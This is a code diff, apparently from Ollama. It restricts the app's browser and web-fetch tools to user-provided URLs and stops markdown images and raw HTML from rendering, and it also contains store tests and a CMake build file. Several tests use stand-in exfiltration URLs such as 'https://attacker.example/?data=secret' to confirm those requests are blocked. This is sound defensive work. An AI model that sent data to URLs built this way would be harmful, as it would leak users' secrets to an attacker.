t.Fatalf("failed to save activity-only chat: %v", err)
|
||||
}
|
||||
|
||||
chats, err := s.Chats()
|
||||
if err != nil {
|
||||
t.Fatalf("failed to list chats: %v", err)
|
||||
}
|
||||
if len(chats) != 3 {
|
||||
t.Fatalf("expected 3 chats, got %d", len(chats))
|
||||
}
|
||||
if chats[0].ID != "chat-activity-only" {
|
||||
t.Fatalf("expected chat-activity-only first, got %s", chats[0].ID)
|
||||
}
|
||||
|
||||
for _, chat := range chats {
|
||||
if len(chat.Messages) != 1 {
|
||||
t.Fatalf("expected summary message for %s, got %d messages", chat.ID, len(chat.Messages))
|
||||
}
|
||||
}
|
||||
if !chats[0].Messages[0].UpdatedAt.Equal(activityOnlyChat.Messages[0].UpdatedAt) {
|
||||
t.Fatalf("expected latest activity updated_at %s, got %s", activityOnlyChat.Messages[0].UpdatedAt, chats[0].Messages[0].UpdatedAt)
|
||||
}
|
||||
if chats[0].Messages[0].Role != "" || chats[0].Messages[0].Content != "" {
|
||||
t.Fatalf("expected activity-only chat to have no user excerpt, got role=%q content=%q", chats[0].Messages[0].Role, chats[0].Messages[0].Content)
|
||||
}
|
||||
if chats[1].ID != "chat-new" {
|
||||
t.Fatalf("expected chat-new second, got %s", chats[1].ID)
|
||||
}
|
||||
if !chats[1].Messages[0].UpdatedAt.Equal(newChat.Messages[0].UpdatedAt) {
|
||||
t.Fatalf("expected precise updated_at %s, got %s", newChat.Messages[0].UpdatedAt, chats[1].Messages[0].UpdatedAt)
|
||||
}
|
||||
if chats[2].Messages[0].Content != "older first prompt" {
|
||||
t.Fatalf("expected first user prompt excerpt, got %q", chats[2].Messages[0].Content)
|
||||
}
|
||||
}
|
||||
|
||||
// setupTestStore creates a temporary store for testing
|
||||
func setupTestStore(t *testing.T) (*Store, func()) {
|
||||
t.Helper()
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
//go:build windows || darwin
|
||||
|
||||
package store
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func parseAgentSQLiteTime(value string) (time.Time, error) {
|
||||
value = strings.TrimSpace(value)
|
||||
if value == "" {
|
||||
return time.Time{}, nil
|
||||
}
|
||||
for _, layout := range []string{
|
||||
time.RFC3339Nano,
|
||||
"2006-01-02 15:04:05.999999999-07:00",
|
||||
"2006-01-02 15:04:05.999999999Z07:00",
|
||||
"2006-01-02 15:04:05.999999999",
|
||||
"2006-01-02 15:04:05-07:00",
|
||||
"2006-01-02 15:04:05Z07:00",
|
||||
"2006-01-02 15:04:05",
|
||||
} {
|
||||
t, err := time.Parse(layout, value)
|
||||
if err == nil {
|
||||
return t, nil
|
||||
}
|
||||
}
|
||||
return time.Time{}, fmt.Errorf("unsupported time format %q", value)
|
||||
}
|
||||
@@ -563,6 +563,10 @@ func (b *BrowserOpen) Execute(ctx context.Context, args map[string]any) (any, st
|
||||
return b.state.Data, pageText, nil
|
||||
}
|
||||
|
||||
if !allowedDirectURL(ctx, url) {
|
||||
return nil, "", fmt.Errorf("direct URL open is only allowed for URLs provided by the user")
|
||||
}
|
||||
|
||||
// Page not in cache, need to crawl it
|
||||
if b.crawlPage == nil {
|
||||
b.crawlPage = &BrowserCrawler{}
|
||||
|
||||
@@ -65,6 +65,27 @@ func TestBrowserOpen_UseCacheByURL(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBrowserOpen_RejectsUncachedDirectURL(t *testing.T) {
|
||||
b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
|
||||
bo := NewBrowserOpen(b)
|
||||
|
||||
_, _, err := bo.Execute(t.Context(), map[string]any{"id": "https://attacker.example/?data=secret"})
|
||||
if err == nil || !strings.Contains(err.Error(), "only allowed for URLs provided by the user") {
|
||||
t.Fatalf("expected direct URL rejection, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDirectURLsFromText_AllowsExactUserURLsOnly(t *testing.T) {
|
||||
ctx := WithAllowedDirectURLs(t.Context(), "summarize https://example.com/article?q=1 please")
|
||||
|
||||
if !allowedDirectURL(ctx, "https://example.com/article?q=1") {
|
||||
t.Fatal("expected exact user-provided URL to be allowed")
|
||||
}
|
||||
if allowedDirectURL(ctx, "https://example.com/article?q=secret") {
|
||||
t.Fatal("did not expect modified URL to be allowed")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDisplayPage_InvalidLoc(t *testing.T) {
|
||||
b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
|
||||
p := makeTestPage("https://example.com/x")
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
//go:build windows || darwin
|
||||
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type directURLContextKey struct{}
|
||||
|
||||
var directURLPattern = regexp.MustCompile("https?://[^\\s<>\"'`]+")
|
||||
|
||||
func WithAllowedDirectURLs(ctx context.Context, text string) context.Context {
|
||||
allowed := make(map[string]struct{})
|
||||
for _, match := range directURLPattern.FindAllString(text, -1) {
|
||||
addAllowedDirectURLToMap(allowed, match)
|
||||
}
|
||||
return context.WithValue(ctx, directURLContextKey{}, allowed)
|
||||
}
|
||||
|
||||
func addAllowedDirectURL(ctx context.Context, raw string) {
|
||||
allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
|
||||
addAllowedDirectURLToMap(allowed, raw)
|
||||
}
|
||||
|
||||
func addAllowedDirectURLToMap(allowed map[string]struct{}, raw string) {
|
||||
if allowed == nil {
|
||||
return
|
||||
}
|
||||
|
||||
raw = cleanDirectURL(raw)
|
||||
if raw == "" {
|
||||
return
|
||||
}
|
||||
|
||||
allowed[raw] = struct{}{}
|
||||
}
|
||||
|
||||
func allowedDirectURL(ctx context.Context, raw string) bool {
|
||||
allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
|
||||
cleaned := cleanDirectURL(raw)
|
||||
if cleaned == "" || cleaned != raw {
|
||||
return false
|
||||
}
|
||||
|
||||
_, ok := allowed[cleaned]
|
||||
return ok
|
||||
}
|
||||
|
||||
func cleanDirectURL(raw string) string {
|
||||
raw = strings.TrimSpace(raw)
|
||||
raw = strings.TrimRight(raw, ".,;:!?)]}")
|
||||
|
||||
if !strings.HasPrefix(raw, "http://") && !strings.HasPrefix(raw, "https://") {
|
||||
return ""
|
||||
}
|
||||
|
||||
return raw
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
//go:build windows || darwin
|
||||
|
||||
package tools
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestDirectURLsFromText_RejectsChangedToolArgument(t *testing.T) {
|
||||
ctx := WithAllowedDirectURLs(t.Context(), "summarize https://attacker.example/x")
|
||||
|
||||
if allowedDirectURL(ctx, "https://attacker.example/x!!!!") {
|
||||
t.Fatal("expected changed tool argument to be rejected")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDirectURLsFromText_ExtractsMarkdownCodeSpanURL(t *testing.T) {
|
||||
ctx := WithAllowedDirectURLs(t.Context(), "summarize `https://example.com/privacy`")
|
||||
|
||||
if !allowedDirectURL(ctx, "https://example.com/privacy") {
|
||||
t.Fatal("expected URL wrapped in backticks to be allowed")
|
||||
}
|
||||
}
|
||||
@@ -67,11 +67,17 @@ func (w *WebFetch) Execute(ctx context.Context, args map[string]any) (any, strin
|
||||
if !ok || strings.TrimSpace(urlStr) == "" {
|
||||
return nil, "", fmt.Errorf("url must be a non-empty string")
|
||||
}
|
||||
if !allowedDirectURL(ctx, urlStr) {
|
||||
return nil, "", fmt.Errorf("web fetch is only allowed for URLs provided by the user")
|
||||
}
|
||||
|
||||
result, err := performWebFetch(ctx, urlStr)
|
||||
if err != nil {
|
||||
return nil, "", err
|
||||
}
|
||||
for _, link := range result.Links {
|
||||
addAllowedDirectURL(ctx, link)
|
||||
}
|
||||
|
||||
return result, "", nil
|
||||
}
|
||||
|
||||
@@ -88,6 +88,9 @@ func (w *WebSearch) Execute(ctx context.Context, args map[string]any) (any, stri
|
||||
if err != nil {
|
||||
return nil, "", err
|
||||
}
|
||||
for _, result := range result.Results {
|
||||
addAllowedDirectURL(ctx, result.URL)
|
||||
}
|
||||
|
||||
return result, "", nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
import { renderToStaticMarkup } from "react-dom/server";
|
||||
import type React from "react";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
type MockStreamdownProps = {
|
||||
children?: React.ReactNode;
|
||||
components: {
|
||||
img: React.ComponentType<React.ImgHTMLAttributes<HTMLImageElement>>;
|
||||
};
|
||||
rehypePlugins?: unknown[];
|
||||
};
|
||||
|
||||
const streamdownMock = vi.hoisted(() =>
|
||||
vi.fn((props: MockStreamdownProps) => props.children),
|
||||
);
|
||||
|
||||
vi.mock("streamdown", () => ({
|
||||
Streamdown: streamdownMock,
|
||||
defaultRehypePlugins: {
|
||||
katex: "katex",
|
||||
raw: "raw",
|
||||
},
|
||||
defaultRemarkPlugins: {
|
||||
gfm: "gfm",
|
||||
math: "math",
|
||||
},
|
||||
}));
|
||||
|
||||
import StreamingMarkdownContent from "./StreamingMarkdownContent";
|
||||
|
||||
describe("StreamingMarkdownContent", () => {
|
||||
beforeEach(() => {
|
||||
streamdownMock.mockClear();
|
||||
});
|
||||
|
||||
it("does not enable raw HTML parsing", () => {
|
||||
renderToStaticMarkup(
|
||||
<StreamingMarkdownContent content="<iframe></iframe>" />,
|
||||
);
|
||||
|
||||
const props = streamdownMock.mock.calls[0][0];
|
||||
expect(props.rehypePlugins).toEqual(["katex"]);
|
||||
expect(props.rehypePlugins).not.toContain("raw");
|
||||
});
|
||||
|
||||
it("does not render markdown image src values", () => {
|
||||
renderToStaticMarkup(
|
||||
<StreamingMarkdownContent content="" />,
|
||||
);
|
||||
|
||||
const props = streamdownMock.mock.calls[0][0];
|
||||
const Img = props.components.img;
|
||||
const html = renderToStaticMarkup(
|
||||
<Img alt="secret" src="https://attacker.example/pixel?data=secret" />,
|
||||
);
|
||||
|
||||
expect(html).not.toContain("<img");
|
||||
expect(html).not.toContain("attacker.example");
|
||||
expect(html).toContain("secret");
|
||||
});
|
||||
});
|
||||
@@ -1,5 +1,9 @@
|
||||
import React from "react";
|
||||
import { Streamdown, defaultRemarkPlugins } from "streamdown";
|
||||
import {
|
||||
Streamdown,
|
||||
defaultRehypePlugins,
|
||||
defaultRemarkPlugins,
|
||||
} from "streamdown";
|
||||
import remarkCitationParser from "@/utils/remarkCitationParser";
|
||||
import CopyButton from "./CopyButton";
|
||||
import type { BundledLanguage } from "shiki";
|
||||
@@ -29,6 +33,8 @@ const extractText = (node: React.ReactNode): string => {
|
||||
return "";
|
||||
};
|
||||
|
||||
const safeRehypePlugins = [defaultRehypePlugins.katex];
|
||||
|
||||
const CodeBlock = React.memo(
|
||||
({ children }: React.HTMLAttributes<HTMLPreElement>) => {
|
||||
// Extract code and language from children
|
||||
@@ -210,9 +216,12 @@ const StreamingMarkdownContent: React.FC<StreamingMarkdownContentProps> =
|
||||
<Streamdown
|
||||
parseIncompleteMarkdown={isStreaming}
|
||||
isAnimating={isStreaming}
|
||||
rehypePlugins={safeRehypePlugins}
|
||||
remarkPlugins={remarkPlugins}
|
||||
controls={false}
|
||||
components={{
|
||||
img: ({ alt }: React.ImgHTMLAttributes<HTMLImageElement>) =>
|
||||
alt ? <span>{alt}</span> : null,
|
||||
pre: CodeBlock,
|
||||
table: ({
|
||||
children,
|
||||
|
||||
@@ -574,6 +574,18 @@ func (s *Server) getError(err error) responses.ErrorEvent {
|
||||
}
|
||||
}
|
||||
|
||||
func userMessageText(messages []store.Message) string {
|
||||
var b strings.Builder
|
||||
for _, message := range messages {
|
||||
if message.Role != "user" {
|
||||
continue
|
||||
}
|
||||
b.WriteString(message.Content)
|
||||
b.WriteByte('\n')
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func (s *Server) browserState(chat *store.Chat) (*responses.BrowserStateData, bool) {
|
||||
if len(chat.BrowserState) > 0 {
|
||||
var st responses.BrowserStateData
|
||||
@@ -839,6 +851,7 @@ func (s *Server) chat(w http.ResponseWriter, r *http.Request) error {
|
||||
// Note: Skip agent/tools mode if user has attachments, as the agent doesn't handle file attachments properly
|
||||
registry := tools.NewRegistry()
|
||||
var browser *tools.Browser
|
||||
ctx = tools.WithAllowedDirectURLs(ctx, userMessageText(chat.Messages))
|
||||
|
||||
if !hasAttachments {
|
||||
WebSearchEnabled := req.WebSearch != nil && *req.WebSearch
|
||||
|
||||
@@ -0,0 +1,692 @@
|
||||
# Local Ollama superbuild targets.
|
||||
#
|
||||
# This file keeps the repository-root CMake project focused on orchestration:
|
||||
# it builds a runnable local Ollama payload by delegating llama.cpp work to the
|
||||
# llama/server CMake project and building the Go binary into a matching layout.
|
||||
|
||||
include(ExternalProject)
|
||||
|
||||
set(OLLAMA_LLAMA_BACKENDS "" CACHE STRING
|
||||
"Semicolon-separated llama-server GPU backends to build: cuda_v12;cuda_v13;rocm_v7_1;rocm_v7_2;vulkan;cuda_jetpack5;cuda_jetpack6")
|
||||
set(_ollama_mlx_backends_doc "Semicolon-separated MLX backends to build: cuda_v13;metal_v3;metal_v4")
|
||||
set(OLLAMA_VERSION "0.0.0" CACHE STRING "Ollama version embedded in the local Go binary")
|
||||
set(OLLAMA_PAYLOAD_INSTALL_PREFIX "${CMAKE_BINARY_DIR}" CACHE PATH
|
||||
"Build-time staging prefix for nested Ollama native payloads")
|
||||
|
||||
string(REGEX REPLACE "^v" "" OLLAMA_VERSION "${OLLAMA_VERSION}")
|
||||
|
||||
set(OLLAMA_NATIVE_CONFIG_ARG)
|
||||
if(CMAKE_CONFIGURATION_TYPES)
|
||||
set(OLLAMA_NATIVE_CONFIG_ARG --config Release)
|
||||
endif()
|
||||
|
||||
set(OLLAMA_NATIVE_EXTERNAL_OPTIONS)
|
||||
if(CMAKE_VERSION VERSION_GREATER_EQUAL 3.28)
|
||||
list(APPEND OLLAMA_NATIVE_EXTERNAL_OPTIONS BUILD_JOB_SERVER_AWARE TRUE)
|
||||
endif()
|
||||
|
||||
function(ollama_check_metal_toolchain output_version)
|
||||
find_program(_ollama_xcrun xcrun)
|
||||
if(NOT _ollama_xcrun)
|
||||
message(FATAL_ERROR
|
||||
"MLX Metal requires Xcode command line tools. Install Xcode, run "
|
||||
"`sudo xcode-select -s /Applications/Xcode.app/Contents/Developer`, "
|
||||
"then install the Metal toolchain with "
|
||||
"`xcodebuild -downloadComponent MetalToolchain`.")
|
||||
endif()
|
||||
|
||||
execute_process(
|
||||
COMMAND zsh "-c"
|
||||
"echo \"__METAL_VERSION__\" | \"${_ollama_xcrun}\" -sdk macosx metal -E -x metal -P - 2>/dev/null | tail -1 | tr -d '\n'"
|
||||
OUTPUT_VARIABLE _metal_version
|
||||
RESULT_VARIABLE _metal_result)
|
||||
if(NOT _metal_result EQUAL 0 OR NOT _metal_version MATCHES "^[0-9]+$")
|
||||
message(FATAL_ERROR
|
||||
"MLX Metal requires Xcode's Metal toolchain. Install Xcode, run "
|
||||
"`sudo xcode-select -s /Applications/Xcode.app/Contents/Developer`, "
|
||||
"then install the Metal toolchain with "
|
||||
"`xcodebuild -downloadComponent MetalToolchain`.")
|
||||
endif()
|
||||
|
||||
set(${output_version} "${_metal_version}" PARENT_SCOPE)
|
||||
endfunction()
|
||||
|
||||
function(ollama_macos_major_version output)
|
||||
execute_process(
|
||||
COMMAND sw_vers -productVersion
|
||||
OUTPUT_VARIABLE _macos_version
|
||||
OUTPUT_STRIP_TRAILING_WHITESPACE
|
||||
RESULT_VARIABLE _macos_result
|
||||
ERROR_QUIET)
|
||||
if(_macos_result EQUAL 0)
|
||||
string(REGEX MATCH "^[0-9]+" _macos_major "${_macos_version}")
|
||||
endif()
|
||||
set(${output} "${_macos_major}" PARENT_SCOPE)
|
||||
endfunction()
|
||||
|
||||
function(ollama_macos_sdk_major_version output)
|
||||
execute_process(
|
||||
COMMAND xcrun --sdk macosx --show-sdk-version
|
||||
OUTPUT_VARIABLE _sdk_version
|
||||
OUTPUT_STRIP_TRAILING_WHITESPACE
|
||||
RESULT_VARIABLE _sdk_result
|
||||
ERROR_QUIET)
|
||||
if(_sdk_result EQUAL 0)
|
||||
string(REGEX MATCH "^[0-9]+" _sdk_major "${_sdk_version}")
|
||||
endif()
|
||||
set(${output} "${_sdk_major}" PARENT_SCOPE)
|
||||
endfunction()
|
||||
|
||||
function(ollama_default_mlx_backends output)
|
||||
set(_backends "")
|
||||
if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
|
||||
ollama_check_metal_toolchain(_metal_version)
|
||||
ollama_macos_major_version(_macos_major)
|
||||
ollama_macos_sdk_major_version(_sdk_major)
|
||||
if(_macos_major AND _sdk_major AND _macos_major GREATER_EQUAL 26 AND _sdk_major GREATER_EQUAL 26)
|
||||
set(_backends "metal_v4")
|
||||
else()
|
||||
set(_backends "metal_v3")
|
||||
endif()
|
||||
message(STATUS "Defaulting OLLAMA_MLX_BACKENDS=${_backends} for macOS arm64")
|
||||
endif()
|
||||
set(${output} "${_backends}" PARENT_SCOPE)
|
||||
endfunction()
|
||||
|
||||
if(NOT DEFINED OLLAMA_MLX_BACKENDS)
|
||||
ollama_default_mlx_backends(_ollama_default_mlx_backends)
|
||||
set(OLLAMA_MLX_BACKENDS "${_ollama_default_mlx_backends}" CACHE STRING "${_ollama_mlx_backends_doc}")
|
||||
else()
|
||||
set(OLLAMA_MLX_BACKENDS "${OLLAMA_MLX_BACKENDS}" CACHE STRING "${_ollama_mlx_backends_doc}")
|
||||
endif()
|
||||
|
||||
if(NOT OLLAMA_HAVE_LLAMA_SERVER)
|
||||
if(OLLAMA_LLAMA_BACKENDS)
|
||||
message(FATAL_ERROR "llama/server is required when OLLAMA_LLAMA_BACKENDS is set")
|
||||
endif()
|
||||
if(NOT OLLAMA_MLX_BACKENDS)
|
||||
message(FATAL_ERROR "llama/server is required for local Ollama builds")
|
||||
endif()
|
||||
else()
|
||||
file(READ "${CMAKE_SOURCE_DIR}/LLAMA_CPP_VERSION" OLLAMA_LLAMA_CPP_GIT_TAG)
|
||||
string(STRIP "${OLLAMA_LLAMA_CPP_GIT_TAG}" OLLAMA_LLAMA_CPP_GIT_TAG)
|
||||
include(${CMAKE_SOURCE_DIR}/llama/compat/compat.cmake)
|
||||
if(DEFINED FETCHCONTENT_SOURCE_DIR_LLAMA_CPP AND NOT "${FETCHCONTENT_SOURCE_DIR_LLAMA_CPP}" STREQUAL "")
|
||||
get_filename_component(OLLAMA_LLAMA_CPP_SOURCE_DIR
|
||||
"${FETCHCONTENT_SOURCE_DIR_LLAMA_CPP}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
|
||||
message(STATUS "Using llama.cpp source override: ${OLLAMA_LLAMA_CPP_SOURCE_DIR}")
|
||||
add_custom_target(ollama-llama-cpp-source)
|
||||
elseif(DEFINED ENV{OLLAMA_LLAMA_CPP_SOURCE})
|
||||
get_filename_component(OLLAMA_LLAMA_CPP_SOURCE_DIR
|
||||
"$ENV{OLLAMA_LLAMA_CPP_SOURCE}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
|
||||
message(STATUS "Using local llama.cpp source: ${OLLAMA_LLAMA_CPP_SOURCE_DIR}")
|
||||
add_custom_target(ollama-llama-cpp-source)
|
||||
else()
|
||||
set(OLLAMA_LLAMA_CPP_SOURCE_DIR "${CMAKE_BINARY_DIR}/_deps/llama_cpp-src")
|
||||
ExternalProject_Add(ollama-llama-cpp-source
|
||||
GIT_REPOSITORY "https://github.com/ggml-org/llama.cpp.git"
|
||||
GIT_TAG ${OLLAMA_LLAMA_CPP_GIT_TAG}
|
||||
GIT_SHALLOW TRUE
|
||||
SOURCE_DIR ${OLLAMA_LLAMA_CPP_SOURCE_DIR}
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ""
|
||||
INSTALL_COMMAND ""
|
||||
PATCH_COMMAND ${OLLAMA_LLAMA_CPP_COMPAT_PATCH_COMMAND}
|
||||
USES_TERMINAL_DOWNLOAD TRUE
|
||||
USES_TERMINAL_PATCH TRUE)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
set(_mlx_source_targets)
|
||||
if(OLLAMA_MLX_BACKENDS)
|
||||
file(READ "${CMAKE_SOURCE_DIR}/MLX_VERSION" OLLAMA_MLX_GIT_TAG)
|
||||
string(STRIP "${OLLAMA_MLX_GIT_TAG}" OLLAMA_MLX_GIT_TAG)
|
||||
file(READ "${CMAKE_SOURCE_DIR}/MLX_C_VERSION" OLLAMA_MLX_C_GIT_TAG)
|
||||
string(STRIP "${OLLAMA_MLX_C_GIT_TAG}" OLLAMA_MLX_C_GIT_TAG)
|
||||
|
||||
if(DEFINED FETCHCONTENT_SOURCE_DIR_MLX AND NOT "${FETCHCONTENT_SOURCE_DIR_MLX}" STREQUAL "")
|
||||
get_filename_component(OLLAMA_MLX_SOURCE_DIR
|
||||
"${FETCHCONTENT_SOURCE_DIR_MLX}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
|
||||
message(STATUS "Using MLX source override: ${OLLAMA_MLX_SOURCE_DIR}")
|
||||
elseif(DEFINED ENV{OLLAMA_MLX_SOURCE})
|
||||
get_filename_component(OLLAMA_MLX_SOURCE_DIR
|
||||
"$ENV{OLLAMA_MLX_SOURCE}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
|
||||
message(STATUS "Using local MLX source: ${OLLAMA_MLX_SOURCE_DIR}")
|
||||
else()
|
||||
set(OLLAMA_MLX_SOURCE_DIR "${CMAKE_BINARY_DIR}/_deps/mlx-src")
|
||||
ExternalProject_Add(ollama-mlx-source
|
||||
GIT_REPOSITORY "https://github.com/ml-explore/mlx.git"
|
||||
GIT_TAG ${OLLAMA_MLX_GIT_TAG}
|
||||
# MLX uses commit hashes while we track closely; switch to shallow when MLX pins move to tags.
|
||||
GIT_SHALLOW FALSE
|
||||
SOURCE_DIR ${OLLAMA_MLX_SOURCE_DIR}
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ""
|
||||
INSTALL_COMMAND ""
|
||||
USES_TERMINAL_DOWNLOAD TRUE)
|
||||
list(APPEND _mlx_source_targets ollama-mlx-source)
|
||||
endif()
|
||||
|
||||
if(DEFINED "FETCHCONTENT_SOURCE_DIR_MLX-C" AND NOT "${FETCHCONTENT_SOURCE_DIR_MLX-C}" STREQUAL "")
|
||||
get_filename_component(OLLAMA_MLX_C_SOURCE_DIR
|
||||
"${FETCHCONTENT_SOURCE_DIR_MLX-C}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
|
||||
message(STATUS "Using MLX-C source override: ${OLLAMA_MLX_C_SOURCE_DIR}")
|
||||
elseif(DEFINED ENV{OLLAMA_MLX_C_SOURCE})
|
||||
get_filename_component(OLLAMA_MLX_C_SOURCE_DIR
|
||||
"$ENV{OLLAMA_MLX_C_SOURCE}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
|
||||
message(STATUS "Using local MLX-C source: ${OLLAMA_MLX_C_SOURCE_DIR}")
|
||||
else()
|
||||
set(OLLAMA_MLX_C_SOURCE_DIR "${CMAKE_BINARY_DIR}/_deps/mlx-c-src")
|
||||
ExternalProject_Add(ollama-mlx-c-source
|
||||
GIT_REPOSITORY "https://github.com/ml-explore/mlx-c.git"
|
||||
GIT_TAG ${OLLAMA_MLX_C_GIT_TAG}
|
||||
# MLX-C uses commit hashes while we track closely; switch to shallow when MLX-C pins move to tags.
|
||||
GIT_SHALLOW FALSE
|
||||
SOURCE_DIR ${OLLAMA_MLX_C_SOURCE_DIR}
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ""
|
||||
INSTALL_COMMAND ""
|
||||
USES_TERMINAL_DOWNLOAD TRUE)
|
||||
list(APPEND _mlx_source_targets ollama-mlx-c-source)
|
||||
endif()
|
||||
add_custom_target(ollama-mlx-sources DEPENDS ${_mlx_source_targets})
|
||||
endif()
|
||||
|
||||
set(OLLAMA_NATIVE_BUILD_TOOL_COMMAND
|
||||
${CMAKE_COMMAND} --build <BINARY_DIR>)
|
||||
set(OLLAMA_NATIVE_BUILD_TARGET_ARG --target)
|
||||
if(CMAKE_GENERATOR MATCHES "Makefiles")
|
||||
set(OLLAMA_NATIVE_BUILD_TOOL_COMMAND
|
||||
"$(MAKE)" -C <BINARY_DIR>)
|
||||
set(OLLAMA_NATIVE_BUILD_TARGET_ARG)
|
||||
endif()
|
||||
|
||||
function(ollama_escape_cmake_list input output)
|
||||
string(REPLACE ";" "|" _escaped "${input}")
|
||||
set(${output} "${_escaped}" PARENT_SCOPE)
|
||||
endfunction()
|
||||
|
||||
function(ollama_collect_cache_args_with_prefix prefix output)
|
||||
get_cmake_property(_cache_variables CACHE_VARIABLES)
|
||||
list(SORT _cache_variables)
|
||||
|
||||
set(_args)
|
||||
foreach(_var IN LISTS _cache_variables)
|
||||
if(_var MATCHES "^${prefix}")
|
||||
ollama_escape_cmake_list("${${_var}}" _value)
|
||||
list(APPEND _args "-D${_var}=${_value}")
|
||||
endif()
|
||||
endforeach()
|
||||
|
||||
set(${output} "${_args}" PARENT_SCOPE)
|
||||
endfunction()
|
||||
|
||||
function(ollama_append_cache_arg_if_set output name)
|
||||
if(DEFINED ${name} AND NOT "${${name}}" STREQUAL "")
|
||||
ollama_escape_cmake_list("${${name}}" _value)
|
||||
set(${output} ${${output}} "-D${name}=${_value}" PARENT_SCOPE)
|
||||
endif()
|
||||
endfunction()
|
||||
|
||||
function(ollama_cache_arg_is_set name output)
|
||||
if(DEFINED ${name} AND NOT "${${name}}" STREQUAL "")
|
||||
set(${output} TRUE PARENT_SCOPE)
|
||||
else()
|
||||
set(${output} FALSE PARENT_SCOPE)
|
||||
endif()
|
||||
endfunction()
|
||||
|
||||
function(ollama_llama_cuda_preset backend output)
|
||||
ollama_cache_arg_is_set(CMAKE_CUDA_ARCHITECTURES _has_cuda_arch)
|
||||
if(_has_cuda_arch)
|
||||
set(_preset "llama_${backend}_user_arch")
|
||||
elseif(WIN32)
|
||||
set(_preset "llama_${backend}_windows")
|
||||
else()
|
||||
set(_preset "llama_${backend}_linux")
|
||||
endif()
|
||||
set(${output} "${_preset}" PARENT_SCOPE)
|
||||
endfunction()
|
||||
|
||||
function(ollama_mlx_cuda_preset output)
|
||||
ollama_cache_arg_is_set(MLX_CUDA_ARCHITECTURES _has_mlx_arch)
|
||||
ollama_cache_arg_is_set(CMAKE_CUDA_ARCHITECTURES _has_cuda_arch)
|
||||
if(_has_mlx_arch OR _has_cuda_arch)
|
||||
set(_preset "mlx_cuda_v13_user_arch")
|
||||
elseif(WIN32)
|
||||
set(_preset "mlx_cuda_v13_windows")
|
||||
else()
|
||||
set(_preset "mlx_cuda_v13_linux")
|
||||
endif()
|
||||
set(${output} "${_preset}" PARENT_SCOPE)
|
||||
endfunction()
|
||||
|
||||
function(ollama_rocm_preset backend output)
|
||||
ollama_cache_arg_is_set(AMDGPU_TARGETS _has_amdgpu_targets)
|
||||
ollama_cache_arg_is_set(CMAKE_HIP_ARCHITECTURES _has_hip_arch)
|
||||
if(_has_amdgpu_targets OR _has_hip_arch)
|
||||
if(backend STREQUAL "rocm_v7_1" AND NOT WIN32)
|
||||
message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_1 is only supported for Windows ROCm builds")
|
||||
elseif(backend STREQUAL "rocm_v7_2" AND WIN32)
|
||||
message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_2 is only supported for Linux ROCm builds")
|
||||
endif()
|
||||
elseif(backend STREQUAL "rocm_v7_1")
|
||||
if(NOT WIN32)
|
||||
message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_1 is only supported for Windows ROCm builds")
|
||||
endif()
|
||||
set(_preset "${backend}_windows")
|
||||
elseif(backend STREQUAL "rocm_v7_2")
|
||||
if(WIN32)
|
||||
message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_2 is only supported for Linux ROCm builds")
|
||||
endif()
|
||||
set(_preset "${backend}_linux")
|
||||
else()
|
||||
message(FATAL_ERROR "Unknown ROCm backend '${backend}'")
|
||||
endif()
|
||||
if(_has_amdgpu_targets OR _has_hip_arch)
|
||||
set(_preset "${backend}_user_arch")
|
||||
endif()
|
||||
set(${output} "${_preset}" PARENT_SCOPE)
|
||||
endfunction()
|
||||
|
||||
function(ollama_add_llama_server_build name)
|
||||
cmake_parse_arguments(ARG "" "PRESET;RUNNER_DIR" "TARGETS;CMAKE_ARGS" ${ARGN})
|
||||
if(NOT ARG_TARGETS)
|
||||
message(FATAL_ERROR "ollama_add_llama_server_build(${name}) requires TARGETS")
|
||||
endif()
|
||||
|
||||
if(WIN32 AND name STREQUAL "vulkan")
|
||||
# The Vulkan shader generator nests deeply enough to hit Windows MAX_PATH.
|
||||
set(_build_dir ${CMAKE_BINARY_DIR}/ls-vk)
|
||||
else()
|
||||
set(_build_dir ${CMAKE_BINARY_DIR}/llama-server-${name})
|
||||
endif()
|
||||
ollama_collect_cache_args_with_prefix("GGML_" _ggml_cache_args)
|
||||
ollama_collect_cache_args_with_prefix("LLAMA_" _llama_cache_args)
|
||||
set(_cmake_args
|
||||
-DCMAKE_BUILD_TYPE=${CMAKE_BUILD_TYPE}
|
||||
-DCMAKE_INSTALL_PREFIX=${OLLAMA_PAYLOAD_INSTALL_PREFIX}
|
||||
